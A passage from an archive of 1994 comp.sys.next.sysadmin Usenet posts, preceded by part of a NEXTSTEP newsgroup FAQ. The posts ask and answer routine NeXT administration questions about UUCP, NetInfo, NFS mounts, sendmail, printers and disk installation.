programmers. This is primarily a forum for advanced
technical material.
The NEXTSTEP programmer FAQs are posted here.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
Comp.Sys.Next.Software
This is a place to talk about [third party] software
products that run on NEXTSTEP systems.
Comp.Sys.Next.Sysadmin
Stuff relating to NeXT system administration issues;
in rare cases this will spill over into .programmer
or .software.
related Newsgroups
------------------
Comp.Soft-Sys.Nextstep
Like comp.sys.next.software and comp.sys.next.misc combined. Exists
because NeXT is a software-only company now, and comp.soft-sys is
for discussion of software systems with scope similar to NEXTSTEP.
Comp.Lang.Objective-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
Comp.Object
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then
again OOP allows one to be a programmer/philosopher.
(The original Comp.Sys.Next no longer exists--do not attempt to
post to it.)
Exception to the crossposting restrictions: announcements of
usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
-------------------------------------------
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are
now available as a mailing list digest as well.
next-nextstep-d
next-advocacy-d
next-announce-d
next-bugs-d
next-hardware-d
next-marketplace-d
next-misc-d
next-programmer-d
next-software-d
next-sysadmin-d
(For a full description, send mail saying LISTS to
<digestif@antigone.com>).
The subscription syntax is essentially the same as LISTSERV's.
To subscribe, send a message to <digestif@antigone.com> saying:
SUB Listname YourName
Example: SUB next-hardware-d John Doe
The ftp sites
-------------
cs.orst.edu: The main site for North American submissions
nova.cc.purdue.edu: Lots of older stuff, but very short on disk space
ftp.informatik.uni-muenchen.de: In Germany.
terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and
cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group)
ftp.next.com: See the below
ftp.next.com and NextAnswers@next.com
-------------------------------------
From the document 1000_Help from ftp.next.com
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, or you can transfer them by
anonymous ftp.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com.
Files are sent as NeXTmail attachments by default; you can request they be
sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO <your-address>
If you have any problem with the system or suggestions for improvement,
please send mail to NeXTanswers-request@NeXT.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to NeXTanswers-request@NeXT.com.
Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com
Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
Newsgroups: comp.sys.next.sysadmin
From: js@euler.hnv.icem.de(Juergen Sell)
Subject: Re: A Mail / UUCP / Sendmail problem.
Message-ID: <Cp8JJ5.Ct@euler.hnv.icem.de>
Sender: js@euler.hnv.icem.de (Juergen Sell)
Organization: Ink Unknown
References: <Cp3FAn.1D7@haquer.uucp>
Date: Tue, 3 May 1994 16:37:52 GMT
In article <Cp3FAn.1D7@haquer.uucp> (Albatross) writes:
[...]
> ASSERT ERROR (uux) pid: 1734 (4/30-17:14) /usr/spool/uucp/SEQF is missing or
> trashed (13)
> file - D.haquerX1i90
> ASSERT ERROR (uux) pid: 1734 (4/30-17:14) CAN'T OPEN D.haquerX1i90 (0)
> uux failed. code -1
> exit code -1
Does the /usr/spool/uucp/D. dir exist with proper ownership (uucp.daemon) and permissions (755
should do) ?
Has the /usr/spool/uucp dir correct ownership plus permissions?
You may switch to Tailor-uucp eventually - it really improves things.
Juergen
---
Juergen Sell E-Mail js@icem.de ( NeXTMail ok )
Deisterstr. 18 Fax ++49-511-440617
BRD 30449 Hannover Fon ++49-511-440688
== What time do we live in when all the word 'revolution' makes you think of
== is a new generation of soap powder ?
Newsgroups: comp.sys.next.sysadmin
From: js@euler.hnv.icem.de(Juergen Sell)
Subject: How to setup secure anonymous guest dialin ?
Message-ID: <Cp8nuK.qw@euler.hnv.icem.de>
Sender: js@euler.hnv.icem.de (Juergen Sell)
Organization: Ink Unknown
Date: Tue, 3 May 1994 18:11:08 GMT
I would like to setup an anonymous guest account for dialin.
Now, it is easy enough (hopefully) to create a guest user with password guest an launch a getty on
the port.
But how do I at least try to implement some simple security?
Using an own group for the account might be one thing.
I want to allow up/download inside the guest-user's home-dir.
But I want to be relatively sure anon guests cannot wreck the system easily.
Any hints?
Juergen
---
Juergen Sell E-Mail js@icem.de ( NeXTMail ok )
Deisterstr. 18 Fax ++49-511-440617
BRD 30449 Hannover Fon ++49-511-440688
== What time do we live in when all the word 'revolution' makes you think of
== is a new generation of soap powder ?
From: eps@futon.SFSU.EDU (Eric P. Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: POINTER: NFS Mount Vulnerability (with patch)
Date: 3 May 1994 20:20:21 GMT
Organization: San Francisco State University
Message-ID: <2q6bm5$qtg@nic-nac.CSU.net>
References: <2q6apn$pue@nic-nac.CSU.net> <2q6are$pvo@nic-nac.CSU.net>
Two articles posted to comp.sys.next.bugs.
-=EPS=-
--
"Ah pity da fool" that has me in his KILL file.
From: bcomes@odie.wes.army.mil (Bradley M. Comes)
Newsgroups: comp.sys.next.sysadmin
Subject: Interrupted startup/boot
Date: 3 May 1994 20:36:28 GMT
Organization: USACE Waterways Experiment Station
Message-ID: <2q6ckc$9h2@Joanna.Wes.Army.Mil>
Keywords: startup,boot
The power went off in our building for a long period of time such that my
UPS shutdown and interrupted the power to my NeXt (68040 based). Upon
power-up, I get the following sequence of events:
Testing System window executes successfully
Loading from disk window executes successfully
Checking disk window executes successfully
Checking for network window appears to execute successfully but the next
window becomes a small window titled "NeXT Mach Operating System".
Some stuff flys by in this window but what remains within the window is:
-----------------------------------------------
Generic SCSI Device as SG0 at SC0 target7 lun7
en0 at ....
en0:ethernet address.......
IP protocol enabled for......
ETHERNET
dsp0 at ....
np0 at .....
sound at ....
root on sd0
master cpu at slot 0
erase ^? intr ^c kill ^u
#
-------------------------------------------------
At this point I am at the root prompt and can do OS functions. What
seems to work is to logout and then the multiuser startup executes, I
hear the printer being initialized, and I get the standard login menu
with the name and password window. At that point I can log in under my
standard username.
Everything seems to work so the question is why is the process interrupted
and why does logging out of root continue the process? The real question
is how can I fix it to execute through all the process without the
interruption?
Brad
From: fishman@panix.com (Harvey Fishman)
Newsgroups: comp.sys.next.sysadmin,comp.periphs.scsi
Subject: Re: HP35480 DAT Drive
Date: 3 May 1994 17:24:59 -0400
Organization: Ya gotta be kidding -- I make Utter Chaos look like Felix...
Message-ID: <2q6ffb$dd@panix.com>
References: <2pokhl$mpv@news.mic.ucla.edu> <Cp0w3C.K6D@bri.hp.com> <2q37vl$po0@nwfocus.wa.com> <Cp7xtC.MrB@bri.hp.com>
In <Cp7xtC.MrB@bri.hp.com> kev@bri.hp.com (Kevin Jones) says
> Yes. It will write DDS1 format on 60m and 90m tapes. It will write
> DDS2 format on 120m tapes. Identification of tape length is
> automatic via holes on the underside of the cartridge.
I am confused. Does that mean that it will write only DDS to 60 and 90 M
media? And only DDS2 to 120 M cartridges?
> : What would the native transfer rate be on a 60m or 90m DDS
> : tape in a C1533A?
>
> 510 Kbytes/Sec, the same as for 120m DDS2 tape.
I am even further confused by this. I was of the opinion that the answer
to my above question was that the writing method to the short tapes was
DDS. But I was further of the opinion that part of the gain in writing
rate was that the format of DDS2 was denser than DDS so that not all of
the gain was due to faster tape motion. If those assumptions are true,
then I do not see how you can write the short tapes at the higher speed.
Harvey
--
----------------------------------------------------------------------------
Harvey Fishman | Hating someone is sort of like beating your head
fishman@panix.com | against the wall.
718-258-7276 | It feels so good when you stop.
From: stufduff@albion.unmc.edu (Sean Duffy)
Newsgroups: comp.sys.next.sysadmin
Subject: NetInfo Server Communication Problems
Date: 3 May 1994 21:33:45 GMT
Organization: University of Nebraska Medical Center, Omaha, NE, USA
Message-ID: <2q6fvp$3se@netserv.unmc.edu>
Keywords: Netinfo, TokenRing, Comm, Mail
A Tale of Two Machines: The NeXT Story:
Once upon a time there was a Dell 466ME (machinea) which loaded NSi 3.1.
We all remember how that was . . . Finally 3.2 arrived and was installed,
and as a stand alone all was well with machinea. Then came a small army
of improvements and machinea found itself surrounded by a netinfo network
of which it was not a part. In the interests of cooperation and mutual
aid, machinea surrendered (as best it could) it's stand alone
configuration in favor of joining the netinfo network. The netinfo server
(niserver) was assigned an ip number which did not end in one. There were
(are?) still qwerks in niserver.
Machinea cried out "Are you my mother?" and heard nothing; in fact
niserver could not be pinged, nor could files be mounted, nor mail
exchanged. By routing through a third machine (black hardware on
eithernet) all was available and other machines on the network were
occasionally available. After many days of extreme frustration (and a
white-paper) it was decided to perform a little chicanery and put the ip
number for niserver into machinea's BROADCASTHOST. Now machinea 'sort-of'
reaches niserver. No other machines are reachable, the mail no longer
works and the user is seriously considering reloading NSi from scratch.
Is there another solution?
Other Related Items Of Interest:
The School of Hard.Knocks runs 4MBS Token Ring & Eithernet on separate
segments w/a nice 16MBS backbone. Token Ring Cards are INTEL TokenExpress
ISA 16S. Machinea works fine over the Token Ring under DOS/Windows
(uggh!).
Here are excerpts from the two machine's communication . . .
-
from /usr/adm/messages on niserver
May 3 14:16:55 niserver sendmail[2876]: AA02876: SYSERR: collect:
unexpected close, from=<goodbuddy!bubba@nextsrv1.andi.org>: Connection
reset by peer during collect with machinea
May 3 14:25:37 niserver sendmail[2896]: AA02896: SYSERR: collect:
unexpected close, from=<me@machinea>: Connection reset by peer during
collect with machinea
May 3 14:34:21 niserver sendmail[2900]: AA02900: SYSERR: collect:
unexpected close, from=<Mailer-Agent>: Connection reset by peer during
collect with machinea
from /usr/adm/messages on machinea
May 3 14:29:34 machinea mach: NFS server niserver not responding still
trying
May 3 14:34:13 machinea mach: NFS read failed for server niserver: RPC:
Timed out
May 3 14:34:13 machinea mach: Edit[359]: NFS read error 22 on pagein
from /usr/spool/mqueue om machinea
(there are hundreds of these)
May 3 03:25:11 machinea sendmail[385]: bubba@niserver... Connecting to
niserver.hard.knocks (ether)...
May 3 03:25:11 machinea sendmail[385]: AA00372: to=bubba@niserver,
delay=2+15:40:50, stat=Deferred: Connection timed out during result wait
with niserver.hard.knocks
-
Needless to say, please reply here; the mail is flaky!
From: stufduff@albion.unmc.edu (Sean Duffy)
Newsgroups: comp.sys.next.sysadmin
Subject: NetInfo Server Communication Problems
Date: 3 May 1994 21:34:41 GMT
Organization: University of Nebraska Medical Center, Omaha, NE, USA
Message-ID: <2q6g1h$3t6@netserv.unmc.edu>
Keywords: Netinfo, TokenRing, Comm, Mail
A Tale of Two Machines: The NeXT Story:
Once upon a time there was a Dell 466ME (machinea) which loaded NSi 3.1.
We all remember how that was . . . Finally 3.2 arrived and was installed,
and as a stand alone all was well with machinea. Then came a small army
of improvements and machinea found itself surrounded by a netinfo network
of which it was not a part. In the interests of cooperation and mutual
aid, machinea surrendered (as best it could) it's stand alone
configuration in favor of joining the netinfo network. The netinfo server
(niserver) was assigned an ip number which did not end in one. There were
(are?) still qwerks in niserver.
Machinea cried out "Are you my mother?" and heard nothing; in fact
niserver could not be pinged, nor could files be mounted, nor mail
exchanged. By routing through a third machine (black hardware on
eithernet) all was available and other machines on the network were
occasionally available. After many days of extreme frustration (and a
white-paper) it was decided to perform a little chicanery and put the ip
number for niserver into machinea's BROADCASTHOST. Now machinea 'sort-of'
reaches niserver. No other machines are reachable, the mail no longer
works and the user is seriously considering reloading NSi from scratch.
Is there another solution?
Other Related Items Of Interest:
The School of Hard.Knocks runs 4MBS Token Ring & Eithernet on separate
segments w/a nice 16MBS backbone. Token Ring Cards are INTEL TokenExpress
ISA 16S. Machinea works fine over the Token Ring under DOS/Windows
(uggh!).
Here are excerpts from the two machine's communication . . .
-
from /usr/adm/messages on niserver
May 3 14:16:55 niserver sendmail[2876]: AA02876: SYSERR: collect:
unexpected close, from=<goodbuddy!bubba@nextsrv1.andi.org>: Connection
reset by peer during collect with machinea
May 3 14:25:37 niserver sendmail[2896]: AA02896: SYSERR: collect:
unexpected close, from=<me@machinea>: Connection reset by peer during
collect with machinea
May 3 14:34:21 niserver sendmail[2900]: AA02900: SYSERR: collect:
unexpected close, from=<Mailer-Agent>: Connection reset by peer during
collect with machinea
from /usr/adm/messages on machinea
May 3 14:29:34 machinea mach: NFS server niserver not responding still
trying
May 3 14:34:13 machinea mach: NFS read failed for server niserver: RPC:
Timed out
May 3 14:34:13 machinea mach: Edit[359]: NFS read error 22 on pagein
from /usr/spool/mqueue om machinea
(there are hundreds of these)
May 3 03:25:11 machinea sendmail[385]: bubba@niserver... Connecting to
niserver.hard.knocks (ether)...
May 3 03:25:11 machinea sendmail[385]: AA00372: to=bubba@niserver,
delay=2+15:40:50, stat=Deferred: Connection timed out during result wait
with niserver.hard.knocks
-
Needless to say, please reply here; the mail is flaky!
From: stufduff@albion.unmc.edu (Sean Duffy)
Newsgroups: comp.sys.next.sysadmin
Subject: Net Info Comm Prob
Date: 3 May 1994 21:35:39 GMT
Organization: University of Nebraska Medical Center, Omaha, NE, USA
Message-ID: <2q6g3b$3ta@netserv.unmc.edu>
A Tale of Two Machines: The NeXT Story:
Once upon a time there was a Dell 466ME (machinea) which loaded NSi 3.1.
We all remember how that was . . . Finally 3.2 arrived and was installed,
and as a stand alone all was well with machinea. Then came a small army
of improvements and machinea found itself surrounded by a netinfo network
of which it was not a part. In the interests of cooperation and mutual
aid, machinea surrendered (as best it could) it's stand alone
configuration in favor of joining the netinfo network. The netinfo server
(niserver) was assigned an ip number which did not end in one. There were
(are?) still qwerks in niserver.
Machinea cried out "Are you my mother?" and heard nothing; in fact
niserver could not be pinged, nor could files be mounted, nor mail
exchanged. By routing through a third machine (black hardware on
eithernet) all was available and other machines on the network were
occasionally available. After many days of extreme frustration (and a
white-paper) it was decided to perform a little chicanery and put the ip
number for niserver into machinea's BROADCASTHOST. Now machinea 'sort-of'
reaches niserver. No other machines are reachable, the mail no longer
works and the user is seriously considering reloading NSi from scratch.
Is there another solution?
Other Related Items Of Interest:
The School of Hard.Knocks runs 4MBS Token Ring & Eithernet on separate
segments w/a nice 16MBS backbone. Token Ring Cards are INTEL TokenExpress
ISA 16S. Machinea works fine over the Token Ring under DOS/Windows
(uggh!).
Here are excerpts from the two machine's communication . . .
-
from /usr/adm/messages on niserver
May 3 14:16:55 niserver sendmail[2876]: AA02876: SYSERR: collect:
unexpected close, from=<goodbuddy!bubba@nextsrv1.andi.org>: Connection
reset by peer during collect with machinea
May 3 14:25:37 niserver sendmail[2896]: AA02896: SYSERR: collect:
unexpected close, from=<me@machinea>: Connection reset by peer during
collect with machinea
May 3 14:34:21 niserver sendmail[2900]: AA02900: SYSERR: collect:
unexpected close, from=<Mailer-Agent>: Connection reset by peer during
collect with machinea
from /usr/adm/messages on machinea
May 3 14:29:34 machinea mach: NFS server niserver not responding still
trying
May 3 14:34:13 machinea mach: NFS read failed for server niserver: RPC:
Timed out
May 3 14:34:13 machinea mach: Edit[359]: NFS read error 22 on pagein
from /usr/spool/mqueue om machinea
(there are hundreds of these)
May 3 03:25:11 machinea sendmail[385]: bubba@niserver... Connecting to
niserver.hard.knocks (ether)...
May 3 03:25:11 machinea sendmail[385]: AA00372: to=bubba@niserver,
delay=2+15:40:50, stat=Deferred: Connection timed out during result wait
with niserver.hard.knocks
-
Needless to say, please reply here; the mail is flaky!
From: michael@cogito.iaee.tuwien.ac.at (Michael Suessner)
Newsgroups: comp.sys.next.sysadmin
Subject: Can't install 1.2GB disk
Date: 3 May 1994 19:42:05 GMT
Organization: Technical University Vienna, Austria
Message-ID: <2q69ed$cjq@email.tuwien.ac.at>
I have an Adaptec 1542 card with an external 1.2GB Quantum and 2 internal SCSI
disks. When I tried to install a 400 MB NS partition, I recognized that I
could use only 300 MB of diskspace, because the BIOS could not see more disk
space.
Is this a problem of the Adaptec card?
Any other hints?
Suessner Michael
From: grio@next.com (Dan Grillo)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Help with problem installing 3.2....
Date: 3 May 1994 05:55:05 GMT
Organization: Technical Support, NeXT Computer, Inc.
Message-ID: <2q4ovp$10k@rosie.next.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Versions: dmail 1.9b/makemail 2.2a
Paul Mauvais writes in comp.sys.next.sysadmin:
> At my wit's end.....
>
> I've managed to get the 3.2 CDROM to boot to the point where it
> prompts me for whether or not I want to erase the disk et al.
> and then it says really do it?....when I tell it yes, it complains
> that HP 97548S (a NeXT 660MB drive) is an unknown disk name and
> then shuts the machine down.
>
> Is there any way around this stupid thing?
How are you booting? Where's the kernel coming from?
Are you booting from the floppy or CD-ROM drive? It
sounds like you are booting from the hard drive and telling it
have the roodev on the cdrom...which won't work.
--Dan
Newsgroups: comp.sys.next.sysadmin
From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: NS 3.2 Upgrade Killed Printer!
Message-ID: <1994May3.194007.5728@seer.demon.co.uk>
Sender: news@seer.demon.co.uk
Organization: P & L Systems
References: <shathaway.14.0@hampshire.edu>
Date: Tue, 3 May 1994 19:40:07 GMT
In article <shathaway.14.0@hampshire.edu> shathaway@hampshire.edu (Stephen
B. Hathaway) writes:
> Hi,
> We just upgraded our Next cube from 2.1 to 3.2. Most things seem to
have
> gone OK, except the printer is catatonic. Printmanager, lpq, etc. don't
give
> me any useful info. I called Next TS, and they said something about
NetInfo,
> but I can't find any way to control it(at least not without going to the
> command line)
You could always just reinstall it with PrintManager. Failing that, if
you want to get your hands dirty, run up NetInfoManager and take a look in
the printers directories in both the printer's local domain, and in your
root domain.
There is also a fairly easy command line way to do this (using 'nidump
printcap'), but reinstalling with PrintManager is the simplest.
Paul
--
Paul Lynch
P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
From: grio@next.com (Dan Grillo)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Help with problem installing 3.2....
Date: 3 May 1994 20:38:23 GMT
Organization: Technical Support, NeXT Computer, Inc.
Message-ID: <2q6cnv$1lj@rosie.next.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Versions: dmail 1.9b/makemail 2.2a
Paul Mauvais writes in comp.sys.next.sysadmin:
> At my wit's end.....
>
> I've managed to get the 3.2 CDROM to boot to the point where it
> prompts me for whether or not I want to erase the disk et al.
> and then it says really do it?....when I tell it yes, it complains
> that HP 97548S (a NeXT 660MB drive) is an unknown disk name and
> then shuts the machine down.
>
> Is there any way around this stupid thing?
How are you booting? Where's the kernel coming from?
Are you booting from the floppy or CD-ROM drive? It
sounds like you are booting from the hard drive and telling it
have the roodev on the cdrom...which won't work.
--Dan
Newsgroups: comp.sys.next.sysadmin
From: jsn@audiospeech.ubc.ca (John Nicol)
Subject: Exporting and mounting removable media
Message-ID: <1994May3.221903.15326@audiospeech.ubc.ca>
Sender: jsn@audiospeech.ubc.ca
Organization: School of Audiology & Speech Sciences, UBC, Vancouver, BC, Canada
Date: Tue, 3 May 1994 22:19:03 GMT
Is it possible under Release 3.2 to mount and export removable media (eg.
NeXT optical disks) to a NeXT LAN?
On Release 2.1 the following sequence works:
On the removable media server issue the following commands as root:
/usr/etc/mount -v -o rw /dev/od0a /Optical
/usr/etc/exportfs -i -v -o access=clientname,root=clientname /Optical
On the removable media client issue the following command as root:
/usr/etc/mount -t nfs servername:/Optical /Optical
The above command sequence does not work under Release 3.2. The mount on
the client system fails (with the error message: "/Optical retrying ...").
Our departmental LAN is set up with a Release 2.1 Cube as the
configuration server and with all other nodes running Release 3.2. Remote
mounts of optical disks on the Release 2.1 Cube succeed. Remote mounts of
optical disks on any release 3.2 Cube on our network fail.
Any insight would be much appreciated.
John Nicol
School of Audiology and Speech Sciences
University of british Columbia
NeXTmail ---> jsn@audiospeech.ubc.ca
--
John Nicol
School of Audiology and Speech Sciences
University of British Columbia
5804 Fairview Avenue
Newsgroups: comp.sys.next.sysadmin
From: david@smobject.com (David Vazquez)
Subject: sendmail problem
Message-ID: <1994May3.135246.9456@cs.uno.edu>
Sender: news@cs.uno.edu
Organization: SmartObject Technologies, Inc.
Date: Tue, 3 May 1994 13:52:46 GMT
When I send mail to user@domain (vs. user@machine.domain) it always bounces.
The error reported by NeXT Mail Agent in the returned mail follows:
550 domain (ddn)... 550 Host unknown
554 <user@domain>... 550 Host unknown (Valid name but no A or MX record)
Again, if I prefix domain with the machine name, the mail makes it. What do
I have to fix in sendmail.cf? Or is this a DNS problem?
-David Vazquez "david@smobject.com"
p.s. I know this was covered about two weeks ago, but the messages have long
since rolled off of my news feed.
Newsgroups: comp.sys.next.sysadmin
From: ian_stewart@nyro.com (Ian H. Stewart)
Subject: SCSI Formatter needed
Message-ID: <Cp9CCu.K8@nyro.com>
Sender: ian@nyro.com (Ian H. Stewart)
Organization: NYRO Technix, Inc. - 415 664-1170
Date: Wed, 4 May 1994 03:00:29 GMT
I need a program like SONATA:/pub/next/1.0/binaries/formatter.tar.Z, but
it needs to do 512 Blocksize! I need to run this on a Fuji M2624F, Seagate
ST1480N and a Quantum ?. Any and all help, pointers or NeXTmailed utils
are greatly appreciated.
Ian
--
NYRO Technix, Inc.
236 W. Portal Ave Suite 341
San Francisco CA 94127
415 664-1170 voice
From: stufduff@albion.unmc.edu (Sean Duffy)
Newsgroups: comp.sys.next.sysadmin
Subject: NetInfo Server Communication Problems
Date: 3 May 1994 21:33:57 GMT
Organization: University of Nebraska Medical Center, Omaha, NE, USA
Distribution: world
Message-ID: <2q6g05$3t3@netserv.unmc.edu>
Keywords: Netinfo, TokenRing, Comm, Mail
A Tale of Two Machines: The NeXT Story:
Once upon a time there was a Dell 466ME (machinea) which loaded NSi 3.1.
We all remember how that was . . . Finally 3.2 arrived and was installed,
and as a stand alone all was well with machinea. Then came a small army
of improvements and machinea found itself surrounded by a netinfo network
of which it was not a part. In the interests of cooperation and mutual
aid, machinea surrendered (as best it could) it's stand alone
configuration in favor of joining the netinfo network. The netinfo server
(niserver) was assigned an ip number which did not end in one. There were
(are?) still qwerks in niserver.
Machinea cried out "Are you my mother?" and heard nothing; in fact
niserver could not be pinged, nor could files be mounted, nor mail
exchanged. By routing through a third machine (black hardware on
eithernet) all was available and other machines on the network were
occasionally available. After many days of extreme frustration (and a
white-paper) it was decided to perform a little chicanery and put the ip
number for niserver into machinea's BROADCASTHOST. Now machinea 'sort-of'
reaches niserver. No other machines are reachable, the mail no longer
works and the user is seriously considering reloading NSi from scratch.
Is there another solution?
Other Related Items Of Interest:
The School of Hard.Knocks runs 4MBS Token Ring & Eithernet on separate
segments w/a nice 16MBS backbone. Token Ring Cards are INTEL TokenExpress
ISA 16S. Machinea works fine over the Token Ring under DOS/Windows
(uggh!).
Here are excerpts from the two machine's communication . . .
-
from /usr/adm/messages on niserver
May 3 14:16:55 niserver sendmail[2876]: AA02876: SYSERR: collect:
unexpected close, from=<goodbuddy!bubba@nextsrv1.andi.org>: Connection
reset by peer during collect with machinea
May 3 14:25:37 niserver sendmail[2896]: AA02896: SYSERR: collect:
unexpected close, from=<me@machinea>: Connection reset by peer during
collect with machinea
May 3 14:34:21 niserver sendmail[2900]: AA02900: SYSERR: collect:
unexpected close, from=<Mailer-Agent>: Connection reset by peer during
collect with machinea
from /usr/adm/messages on machinea
May 3 14:29:34 machinea mach: NFS server niserver not responding still
trying
May 3 14:34:13 machinea mach: NFS read failed for server niserver: RPC:
Timed out
May 3 14:34:13 machinea mach: Edit[359]: NFS read error 22 on pagein
from /usr/spool/mqueue om machinea
(there are hundreds of these)
May 3 03:25:11 machinea sendmail[385]: bubba@niserver... Connecting to
niserver.hard.knocks (ether)...
May 3 03:25:11 machinea sendmail[385]: AA00372: to=bubba@niserver,
delay=2+15:40:50, stat=Deferred: Connection timed out during result wait
with niserver.hard.knocks
-
Needless to say, please reply here; the mail is flaky!
From: stufduff@albion.unmc.edu (Sean Duffy)
Newsgroups: comp.sys.next.sysadmin
Subject: NetInfo Server Communication Problems
Date: 3 May 1994 21:34:16 GMT
Organization: University of Nebraska Medical Center, Omaha, NE, USA
Distribution: world
Message-ID: <2q6g0o$3t4@netserv.unmc.edu>
Keywords: Netinfo, TokenRing, Comm, Mail
A Tale of Two Machines: The NeXT Story:
Once upon a time there was a Dell 466ME (machinea) which loaded NSi 3.1.
We all remember how that was . . . Finally 3.2 arrived and was installed,
and as a stand alone all was well with machinea. Then came a small army
of improvements and machinea found itself surrounded by a netinfo network
of which it was not a part. In the interests of cooperation and mutual
aid, machinea surrendered (as best it could) it's stand alone
configuration in favor of joining the netinfo network. The netinfo server
(niserver) was assigned an ip number which did not end in one. There were
(are?) still qwerks in niserver.
Machinea cried out "Are you my mother?" and heard nothing; in fact
niserver could not be pinged, nor could files be mounted, nor mail
exchanged. By routing through a third machine (black hardware on
eithernet) all was available and other machines on the network were
occasionally available. After many days of extreme frustration (and a
white-paper) it was decided to perform a little chicanery and put the ip
number for niserver into machinea's BROADCASTHOST. Now machinea 'sort-of'
reaches niserver. No other machines are reachable, the mail no longer
works and the user is seriously considering reloading NSi from scratch.
Is there another solution?
Other Related Items Of Interest:
The School of Hard.Knocks runs 4MBS Token Ring & Eithernet on separate
segments w/a nice 16MBS backbone. Token Ring Cards are INTEL TokenExpress
ISA 16S. Machinea works fine over the Token Ring under DOS/Windows
(uggh!).
Here are excerpts from the two machine's communication . . .
-
from /usr/adm/messages on niserver
May 3 14:16:55 niserver sendmail[2876]: AA02876: SYSERR: collect:
unexpected close, from=<goodbuddy!bubba@nextsrv1.andi.org>: Connection
reset by peer during collect with machinea
May 3 14:25:37 niserver sendmail[2896]: AA02896: SYSERR: collect:
unexpected close, from=<me@machinea>: Connection reset by peer during
collect with machinea
May 3 14:34:21 niserver sendmail[2900]: AA02900: SYSERR: collect:
unexpected close, from=<Mailer-Agent>: Connection reset by peer during
collect with machinea
from /usr/adm/messages on machinea
May 3 14:29:34 machinea mach: NFS server niserver not responding still
trying
May 3 14:34:13 machinea mach: NFS read failed for server niserver: RPC:
Timed out
May 3 14:34:13 machinea mach: Edit[359]: NFS read error 22 on pagein
from /usr/spool/mqueue om machinea
(there are hundreds of these)
May 3 03:25:11 machinea sendmail[385]: bubba@niserver... Connecting to
niserver.hard.knocks (ether)...
May 3 03:25:11 machinea sendmail[385]: AA00372: to=bubba@niserver,
delay=2+15:40:50, stat=Deferred: Connection timed out during result wait
with niserver.hard.knocks
-
Needless to say, please reply here; the mail is flaky!
From: statman@stat.ufl.edu (Charles D. Kincaid)
Newsgroups: comp.sys.next.sysadmin
Subject: Lockup on Logout: Please Help.
Date: 4 May 1994 13:41:20 GMT
Organization: University of Florida
Distribution: world
Message-ID: <2q88m0INNi75@no-names.nerdc.ufl.edu>
Hello,
In the last month or so, it has happened that when I logout of my
NeXTstation (NS3.2) everything goes away, no loginwindow shows up, and it
locks. The power key doesn't work. I can get to the nmi window, but
reboot and halt don't work. Finally, I have to go to the monitor and do a
reboot.
These are the two messages from "/usr/adm/messages" that seem
relevant
May 3 18:22:27 apeiron WindowServer[175]: IPCFlushOutput: failed to flush
output for stream 0x34a460.
May 3 18:22:34 apeiron loginwindow[176]: loginwindow: Workspace exited ts
0 cd 0 rc 0 sv 0 ss 0.
Has anyone else had this experience? Is there a particular
application that is causing problems? I would greatly appreciate anyone's
time in sending a response. One of these days I'm going to lose something
important and I'd rather not.
--
Sincerely,
charles d. kincaid
--------------------------------------------------------------------
Dept. of Statistics 'Damn fine coffee...and hot, too!'
Univ. of Florida Pres: G-ville NeXT Users Group
From: beckers@spin.iao.ford.com (Becki Kain)
Newsgroups: comp.sys.next.sysadmin
Subject: 3.2 upgrade still doesn't work
Date: 4 May 1994 12:35:41 GMT
Organization: OrgFreeware
Sender: beckers@spin (Becki Kain)
Distribution: world
Message-ID: <2q84qt$fmo@ef2007.efhd.ford.com>
howdy folks:
well, i tried re-upgrading to 3.0 from the cdrom, and that worked great. then,
